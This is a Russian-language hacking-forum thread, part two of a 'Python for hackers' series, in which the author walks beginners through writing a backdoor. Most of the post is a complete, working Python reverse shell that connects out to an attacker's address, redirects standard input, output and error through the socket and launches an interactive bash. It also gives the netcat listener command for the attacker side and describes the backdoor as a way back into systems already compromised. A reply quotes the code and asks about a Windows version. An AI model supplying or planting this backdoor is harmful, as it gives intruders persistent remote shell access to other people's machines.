• Начинающий хакер, спасибо что зашёл к нам! Для полного удобства рекомендуем Вам сразу же зарегистрироваться. Помните, необходимо придумать сложный пароль к своему логину, в котором будут присутствовать цифры, а так же символы. После регистрации вы сможете пользоваться чатом. Так же не забудьте активировать аккаунт через письмо, высланное вам на почту ! Администрация заботится о каждом из Вас...
  • Для просмотра разделов из категории Private Informations & Programms необходимо купить

Python для хакера - Часть 2.

Статус
В этой теме нельзя размещать новые ответы.

Gidroponika

Ваши вопросы в Telegram: @milliontri22
Топовый

Gidroponika

Ваши вопросы в Telegram: @milliontri22
Топовый
Регистрация
28 Янв 2017
Сообщения
730
Реакции
834
Репутация
0
Баллы
5
Всем привет, дорогие друзья! Наконец мы дожили до второй части. Заранее извиняюсь, если кого-то заставил ждать. Прошлая часть немного навела шороху, надеюсь и эта не отстанет.

[*Прошлая часть*]


[Введение]

В этой части мы постараемся написать backdoor. В его написании, я не вижу ничего сложного, но перед тем как начать его создавать, давайте разберемся с "задней дверью" подробнее!

Backdoor(или же "запасной ход") - это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell'у).




Так почему же backdoor - черный ход? - спросите вы.
Потому, что его используют для повторного проникновения в уже взломанную систему! - отвечу вам, я)

Кстати, Shell - это консольная оболочка системы. К ней мы сегодня и постараемся получить доступ.
Существует 2 способа получения доступа к командной оболочке. Это reverse и bind.

Bind Shell - это, когда атакуемая машина играет роль сервера, а машина атакующего - клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell'у.
Reverse Shell - это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell'у.
Reverse Shell, кстати, используется в том случае, если соединение блокируется фаерволом. Как раз таки его мы с вами и опишем.

[Приступаем к делу]

Что же, сегодня нам понадобятся 3 следующие библиотеки:
  1. 1)Socket
  2. 2)Subprocess
  3. 3)OS
С библиотекой socket, мы уже познакомились в прошлой части, а теперь немного про остальные 2-е.
Subprocess - запускает определенные(заданные вами) процессы.
OS - это модуль, который предназначен для работы с операционной системой.
И так, подключаем данные модули:

Python:
import subprocess
import socket
import os
Далее создаем сокет и осуществляем подключение:

Python:
host = "имя сервера"
port = порт

sock = socket.socket()
sock.connect((host, port))
А теперь не мало важная часть. Это - потоки ввода данных. Наша задача, привязать потоки данных к нашей серверной части.

Python:
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
И конечно же даем доступ к shell'у(командной оболочке):

Код:
subprocess.call(["bash","-i"])
В итоге получаем backdoor, который получает доступ по принципу Reverse Shell

Python:
import subprocess
import socket
import os

host = 192.168.1.X # server name
port = 9191 #ясно дело порт )

sock = socket.socket()
sock.connect((host, port))

os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)

subprocess.call(["bash", "-i"])
Далее, на атакующей машине остается только запустить сервер. Это делается просто - netcat.
Пропишем следующую команду:

Код:
nc -nlvp <порт>
В итоге наблюдаем, что все сработало как нам надо)






А на этом все. Попробуйте написать свой сервер для атакующей машины.


*Следующая часть*
 
Последнее редактирование:

Stupid Developer

Гость
S

Stupid Developer

Гость
import subprocess import socket import os host = 192.168.1.X # server name port = 9191 #ясно дело порт ) sock = socket.socket() sock.connect((host, port))
Здесь всё понятно

os.dup2(sock.fileno(),0) os.dup2(sock.fileno(),1) os.dup2(sock.fileno(),2) subprocess.call(["bash", "-i"])
Вот это мог бы получше объяснить?
И да, на винде можно же это реализовать?
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху Снизу